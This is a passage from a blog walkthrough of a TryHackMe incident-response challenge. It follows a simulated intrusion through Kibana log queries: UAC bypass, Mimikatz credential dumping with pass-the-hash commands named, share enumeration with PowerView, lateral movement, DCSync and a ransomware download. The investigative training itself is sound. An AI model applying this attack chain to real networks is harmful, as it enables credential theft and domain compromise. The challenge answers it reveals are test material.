rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1548/002/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;For additional intelligence, let’s explore the reference link from &lt;a class=&#34;link&#34; href=&#34;https://redcanary.com/blog/threat-intelligence/raspberry-robin/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Red Canary&lt;/strong&gt;&lt;/a&gt; where we’ll learn that the executable can be abused to achieve a &lt;strong&gt;UAC&lt;/strong&gt; bypass:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Processes launched by &lt;code&gt;[REDACTED].exe&lt;/code&gt; run with elevated administrative privileges without requiring a User Account Control prompt.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;This means the attacker abused the legitimate binary to execute processes as an administrator without the user account control dialogue to interfere.&lt;/p&gt;&#xA;&lt;p&gt;Since we have discovered a known method of abusing the &lt;strong&gt;Features on Demand Helper&lt;/strong&gt; binary to bypass &lt;em&gt;UAC&lt;/em&gt; combined with the evidence that this technique was used on compromised device, we’ve found the answer to &lt;strong&gt;Question 6.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;34ef9c3e6010a238a3b7a89df7ee3ebd_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2560px&#34; data-flex-grow=&#34;1066&#34; height=&#34;75&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/34ef9c3e6010a238a3b7a89df7ee3ebd_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-having-a-high-privilege-machine-access-the-attacker-attempted-to-dump-the-credentials-inside-the-machine-what-is-the-github-link-used-by-the-attacker-to-download-a-tool-for-credential-dumping&#34;&gt;Question 7: Having a high privilege machine access, the attacker attempted to dump the credentials inside the machine. What is the GitHub link used by the attacker to download a tool for credential dumping?&#xA;&lt;/h3&gt;&lt;p&gt;Now, we’ll need to discover what tool the attacker downloaded onto the victim’s device from &lt;strong&gt;GitHub.&lt;/strong&gt; Jumping back to the search bar, let’s search for something broad like &lt;strong&gt;github.com,&lt;/strong&gt; then refine our scope, filtering the &lt;code&gt;host.ip&lt;/code&gt; field for the CEO’s workstation (&lt;code&gt;10.10.155.159&lt;/code&gt; / &lt;code&gt;WKSTN-0051&lt;/code&gt;).&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;c4ef7451fa7f165a43bae2982d64df62_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;542px&#34; data-flex-grow=&#34;225&#34; height=&#34;531&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/c4ef7451fa7f165a43bae2982d64df62_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/c4ef7451fa7f165a43bae2982d64df62_MD5_hu_55663e3105688fae.png 800w, https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/c4ef7451fa7f165a43bae2982d64df62_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The search reveals that the attacker downloaded the very famous &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1003/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;credential dumping&lt;/strong&gt;&lt;/a&gt; tool, &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S0002/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Mimikatz&lt;/strong&gt;&lt;/a&gt; — not good! Let’s press forward to determine what the attacker was able to access.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;8ba58d4599469a92d4ea678b78b8c622_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2109px&#34; data-flex-grow=&#34;879&#34; height=&#34;91&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/8ba58d4599469a92d4ea678b78b8c622_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-after-successfully-dumping-the-credentials-inside-the-machine-the-attacker-used-the-credentials-to-gain-access-to-another-machine-what-is-the-username-and-hash-of-the-new-credential-pair-format-usernamehash&#34;&gt;Question 8: After successfully dumping the credentials inside the machine, the attacker used the credentials to gain access to another machine. What is the username and hash of the new credential pair? (format: username:hash)&#xA;&lt;/h3&gt;&lt;p&gt;Now that we’ve discovered the attacker downloaded &lt;strong&gt;Mimikatz&lt;/strong&gt;, let’s continue analyzing the logs from the CEO’s workstation focusing on the executable name of the tool inside the &lt;strong&gt;mimi.zip&lt;/strong&gt; archive — &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S0002/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;mimikatz.exe&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;500d043915f76b46caeb6ee3ff4fdef4_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;543px&#34; data-flex-grow=&#34;226&#34; height=&#34;530&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/500d043915f76b46caeb6ee3ff4fdef4_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/500d043915f76b46caeb6ee3ff4fdef4_MD5_hu_be50cf7293deb51b.png 800w, https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/500d043915f76b46caeb6ee3ff4fdef4_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Mimikatz activity on WKSTN-0051&lt;/p&gt;&#xA;&lt;p&gt;Here we’ll observe that &lt;strong&gt;Mimikatz&lt;/strong&gt; dumps the credentials for users recently logged-on to the workstation (&lt;code&gt;sekurlsa::logonpasswords)&lt;/code&gt; exposing their password hashes. Next, the attacker performs a &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1550/002/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Pass the Hash&lt;/strong&gt;&lt;/a&gt; &lt;strong&gt;(&lt;/strong&gt;&lt;code&gt;sekurlsa::pth&lt;/code&gt; ) using the &lt;strong&gt;NTLM hash&lt;/strong&gt; of one of the exposed administrative users — &lt;code&gt;itadmin&lt;/code&gt; .&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;dc3badc62187ce20a84b3990b83fe890_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2206px&#34; data-flex-grow=&#34;919&#34; height=&#34;87&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/dc3badc62187ce20a84b3990b83fe890_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-9-using-the-new-credentials-the-attacker-attempted-to-enumerate-accessible-file-shares-what-is-the-name-of-the-file-accessed-by-the-attacker-from-a-remoteshare&#34;&gt;Question 9: Using the new credentials, the attacker attempted to enumerate accessible file shares. What is the name of the file accessed by the attacker from a remote share?&#xA;&lt;/h3&gt;&lt;p&gt;So, let’s do a quick recap. We know that the attacker compromised Evan, the CEO’s, workstation with a spear-phishing attachment. Then, the &lt;strong&gt;stage 1&lt;/strong&gt; payload performed a variety of activities to establish a foothold including using &lt;strong&gt;PowerShell&lt;/strong&gt; to create persistence mechanisms, abusing living off the land binaries to elevate privileges, and dumping privileged OS credentials after downloading &lt;strong&gt;Mimikatz&lt;/strong&gt; from &lt;strong&gt;GitHub&lt;/strong&gt;. Now we’ll need to find what file shares the attacker found and accessed.&lt;/p&gt;&#xA;&lt;p&gt;Based on what we know about the attacker’s &lt;strong&gt;tactics, techniques, and procedures (TTPs)&lt;/strong&gt; it’s likely that they would need to download additional tools to perform file sharing enumeration in the environment.&lt;/p&gt;&#xA;&lt;p&gt;Let’s test this theory by first filtering all events from the CEO, Evan’s, device — &lt;code&gt;WKSTN-0051.quicklogistics.org&lt;/code&gt;. Then, we’ll narrow the search further starting with the attacker’s known technique of using &lt;strong&gt;PowerShell&lt;/strong&gt; to download tools from &lt;strong&gt;GitHub&lt;/strong&gt;. For this, we’ll format a query that specifies the CEO’s workstation in the &lt;code&gt;host.name&lt;/code&gt; field and matches all fields for the term &lt;strong&gt;PowerShell&lt;/strong&gt; and a wildcard search for &lt;strong&gt;GitHub&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;host.name : &amp;ldquo;WKSTN-0051.quicklogistics.org&amp;rdquo; and powershell.exe and &lt;em&gt;github&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Right away, there’s something interesting. We’ll see that &lt;strong&gt;PowerShell&lt;/strong&gt; downloaded &lt;code&gt;PowerView.ps1&lt;/code&gt; , a network reconnaissance tool**,** then runs the &lt;code&gt;[Invoke-ShareFinder](https://attack.mitre.org/techniques/T1018/)&lt;/code&gt; cmdlet to discover accessible file shares within the domain.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;17916347a84c49ac3d6896656459da3a_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;543px&#34; data-flex-grow=&#34;226&#34; height=&#34;530&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/17916347a84c49ac3d6896656459da3a_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/17916347a84c49ac3d6896656459da3a_MD5_hu_9c878a2f31f6a3ac.png 800w, https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/17916347a84c49ac3d6896656459da3a_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;This discovery brings us one step closer by answering the &lt;em&gt;how&lt;/em&gt;, but we still need to determine &lt;em&gt;what&lt;/em&gt; was accessed. Let’s modify the original query, removing the &lt;strong&gt;GitHub&lt;/strong&gt; wildcard, and zoom-out to all &lt;strong&gt;PowerShell&lt;/strong&gt; activities from this workstation.&lt;/p&gt;&#xA;&lt;p&gt;host.name : &amp;ldquo;WKSTN-0051.quicklogistics.org&amp;rdquo; and powershell.exe&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;e1f520c69db91097b8b82339cb0df320_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;542px&#34; data-flex-grow=&#34;225&#34; height=&#34;531&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/e1f520c69db91097b8b82339cb0df320_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/e1f520c69db91097b8b82339cb0df320_MD5_hu_531b7f808577213a.png 800w, https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/e1f520c69db91097b8b82339cb0df320_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Bingo! We see that the attacker discovered a file share on &lt;code&gt;WKSTN-1327&lt;/code&gt; hosting an automation script where credentials are potentially stored to enable automation. Then, using the &lt;code&gt;cat&lt;/code&gt; command, the attacker prints the output of this script to the console giving them access to the password within.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;487e63debf3ed8c21f7d29f3f4c9f630_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2594px&#34; data-flex-grow=&#34;1081&#34; height=&#34;74&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/487e63debf3ed8c21f7d29f3f4c9f630_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-10-after-getting-the-contents-of-the-remote-file-the-attacker-used-the-new-credentials-to-move-laterally-what-is-the-new-set-of-credentials-discovered-by-the-attacker-format-usernamepassword&#34;&gt;Question 10: After getting the contents of the remote file, the attacker used the new credentials to move laterally. What is the new set of credentials discovered by the attacker? (format: username:password)&#xA;&lt;/h3&gt;&lt;p&gt;Sticking with our current search parameters, scroll up through the newer events in the timeline. Shortly, we’ll stumble upon the series of events below showing that the attacker remotely used the newly discovered credentials for &lt;code&gt;allan.smith&lt;/code&gt; to move laterally, executing code on a second workstation.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;712031c60b210134309cd60c01f3d763_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;653px&#34; data-flex-grow=&#34;272&#34; height=&#34;441&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/712031c60b210134309cd60c01f3d763_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/712031c60b210134309cd60c01f3d763_MD5_hu_4ca2b1dce4859c41.png 800w, https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/712031c60b210134309cd60c01f3d763_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;45fd448390554f0ec39e5367a3bc8230_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2258px&#34; data-flex-grow=&#34;941&#34; height=&#34;85&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/45fd448390554f0ec39e5367a3bc8230_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-11-what-is-the-hostname-of-the-attackers-target-machine-for-its-lateral-movementattempt&#34;&gt;Question 11: What is the hostname of the attacker’s target machine for its lateral movement attempt?&#xA;&lt;/h3&gt;&lt;p&gt;From the previous two steps in the analysis, we’ve already determined the hostname and user account targeted for lateral movement. Let’s check our work and move forward with the investigation.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;5ab90bdcc49c5296383de358d2727530_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2400px&#34; data-flex-grow=&#34;1000&#34; height=&#34;80&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/5ab90bdcc49c5296383de358d2727530_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-12-using-the-malicious-command-executed-by-the-attacker-from-the-first-machine-to-move-laterally-what-is-the-parent-process-name-of-the-malicious-command-executed-on-the-second-compromised-machine&#34;&gt;Question 12: Using the malicious command executed by the attacker from the first machine to move laterally, what is the parent process name of the malicious command executed on the second compromised machine?&#xA;&lt;/h3&gt;&lt;p&gt;Now we’ll switch our scope to the workstation targeted for lateral movement from the last question. To do this, we’ll zoom out focusing on the &lt;code&gt;Microsoft-Windows-Sysmon&lt;/code&gt; events again and searching &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon#event-id-1-process-creation&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Sysmon Event ID 1&lt;/strong&gt;&lt;/a&gt; or process creation events. Since we are looking for a parent/child process used for lateral movement, let’s start here and see what we find.&lt;/p&gt;&#xA;&lt;p&gt;host.hostname : &amp;ldquo;WKSTN-1327&amp;rdquo; and event.provider : &amp;ldquo;Microsoft-Windows-Sysmon&amp;rdquo; and event.code : &amp;ldquo;1&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;02aed423d4e386315442f59010551d6d_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;608px&#34; data-flex-grow=&#34;253&#34; height=&#34;473&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/02aed423d4e386315442f59010551d6d_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/02aed423d4e386315442f59010551d6d_MD5_hu_69157a747409f94a.png 800w, https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/02aed423d4e386315442f59010551d6d_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Excellent! Notice the encoded &lt;strong&gt;PowerShell&lt;/strong&gt; command and that the timestamp follows directly after the use of the credentials from &lt;code&gt;WKSTN-0051&lt;/code&gt; ? The &lt;code&gt;process.parent.executable&lt;/code&gt; of the &lt;strong&gt;PowerShell&lt;/strong&gt; process is what we’ll need to answer &lt;strong&gt;Question 12&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;0b8d15df2a3c9769fb1b0a83846f5379_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2064px&#34; data-flex-grow=&#34;860&#34; height=&#34;93&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/0b8d15df2a3c9769fb1b0a83846f5379_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-13-the-attacker-then-dumped-the-hashes-in-this-second-machine-what-is-the-username-and-hash-of-the-newly-dumped-credentials-format-usernamehash&#34;&gt;Question 13: The attacker then dumped the hashes in this second machine. What is the username and hash of the newly dumped credentials? (format: username:hash)&#xA;&lt;/h3&gt;&lt;p&gt;Staying within our current filters, we’ll see that once the attacker is connected, they perform the same patterns of system discovery as on the first workstation, including downloading &lt;strong&gt;Mimikatz&lt;/strong&gt; to dump credentials on the second compromised workstation.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;834e287727d29090b361e97cd5132577_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;8727px&#34; data-flex-grow=&#34;3636&#34; height=&#34;22&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/834e287727d29090b361e97cd5132577_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;In addition to exposing the previous credentials we found back in &lt;strong&gt;Question 8&lt;/strong&gt; again, the attacker also discovers another set of administrative credentials, which may include &lt;strong&gt;Domain Admin&lt;/strong&gt; privileges.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;20d13a6695b516387fe1ea70332ec757_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;546px&#34; data-flex-grow=&#34;227&#34; height=&#34;527&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/20d13a6695b516387fe1ea70332ec757_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/20d13a6695b516387fe1ea70332ec757_MD5_hu_9b3508131ad19270.png 800w, https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/20d13a6695b516387fe1ea70332ec757_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;1fa8179f81206f2bf5d5729ecec131ac_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2560px&#34; data-flex-grow=&#34;1066&#34; height=&#34;75&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/1fa8179f81206f2bf5d5729ecec131ac_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-14-after-gaining-access-to-the-domain-controller-the-attacker-attempted-to-dump-the-hashes-via-a-dcsync-attack-aside-from-the-administrator-account-what-account-did-the-attackerdump&#34;&gt;Question 14: After gaining access to the domain controller, the attacker attempted to dump the hashes via a DCSync attack. Aside from the administrator account, what account did the attacker dump?&#xA;&lt;/h3&gt;&lt;p&gt;Keep scrolling to the newer events following the &lt;code&gt;administrator&lt;/code&gt; account credential dump, we see the attacker performed a &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1550/002/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Pass the Hash&lt;/strong&gt;&lt;/a&gt; again using the new domain admin NTLM hash to access environment’s domain controller, following-up with a &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1003/006/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;DCSync&lt;/strong&gt;&lt;/a&gt; attack.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;c43806f2d55691f7337c3083a95f9b49_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;543px&#34; data-flex-grow=&#34;226&#34; height=&#34;530&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/c43806f2d55691f7337c3083a95f9b49_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/c43806f2d55691f7337c3083a95f9b49_MD5_hu_16c8f693c98a9373.png 800w, https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/c43806f2d55691f7337c3083a95f9b49_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;This gives us a good idea of where to look next. To confirm, let’s adjust our query again focusing on events from &lt;strong&gt;DC01&lt;/strong&gt; to see the full story.&lt;/p&gt;&#xA;&lt;p&gt;host.hostname : &amp;ldquo;DC01&amp;rdquo; and event.provider : &amp;ldquo;Microsoft-Windows-Sysmon&amp;rdquo; and event.code : &amp;ldquo;1&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;08bf341fbb83fa63ef99b105d967ca7d_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;542px&#34; data-flex-grow=&#34;225&#34; height=&#34;531&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/08bf341fbb83fa63ef99b105d967ca7d_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/08bf341fbb83fa63ef99b105d967ca7d_MD5_hu_487c31f72bed8590.png 800w, https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/08bf341fbb83fa63ef99b105d967ca7d_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once again, we’ll see familiar TTPs including system/user discovery and downloading &lt;strong&gt;Mimikatz.&lt;/strong&gt; By performing a &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1003/006/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;DCSync&lt;/strong&gt;&lt;/a&gt; attack the attacker accesses the account credentials from the previous question &lt;em&gt;and&lt;/em&gt; another new set of credentials.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;73e0b295301ad3d67253e95e87322ea1_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2086px&#34; data-flex-grow=&#34;869&#34; height=&#34;92&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/73e0b295301ad3d67253e95e87322ea1_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-15-after-dumping-the-hashes-the-attacker-attempted-to-download-another-remote-file-to-execute-ransomware-what-is-the-link-used-by-the-attacker-to-download-the-ransomware-binary&#34;&gt;Question 15: After dumping the hashes, the attacker attempted to download another remote file to execute ransomware. What is the link used by the attacker to download the ransomware binary?&#xA;&lt;/h3&gt;&lt;p&gt;Now that the attacker has achieved domain dominance, we can see that a few minutes later, the attacker downloads a ransomware binary from a remote server. This is the URL needed to answer &lt;strong&gt;Question 15&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;42c960d128c26cc0e64fd1481e313a96_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;566px&#34; data-flex-grow=&#34;236&#34; height=&#34;508&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/42c960d128c26cc0e64fd1481e313a96_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/42c960d128c26cc0e64fd1481e313a96_MD5_hu_596742b6b91a7e96.png 800w, https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/42c960d128c26cc0e64fd1481e313a96_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;To be thorough and fully scope the impact of the incident, let’s make a quick adjustment to our filters to understand if the ransomware binary was also executed after download.&lt;/p&gt;&#xA;&lt;p&gt;In the search bar, we’ll enter the name of the executable, &lt;strong&gt;ransomboogey.exe&lt;/strong&gt;. But we also want to understand what user accounts were used for execution and the &lt;code&gt;winlog.event_id&lt;/code&gt; to understand if the file was executed. For this just select the &lt;code&gt;user.name&lt;/code&gt; and &lt;code&gt;winlog.event_id&lt;/code&gt; fields to add them to our dashboard.&lt;/p&gt;&#xA;&lt;p&gt;First, we’ll see that the binary is executed (&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon#event-id-1-process-creation&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Sysmon Event ID 1&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;)&lt;/strong&gt; on &lt;strong&gt;DCO1&lt;/strong&gt; by &lt;strong&gt;Administrator&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;5614eda2a3d896c06cb902b4992557ff_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;692px&#34; data-flex-grow=&#34;288&#34; height=&#34;416&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/5614eda2a3d896c06cb902b4992557ff_MD5.png&#34; 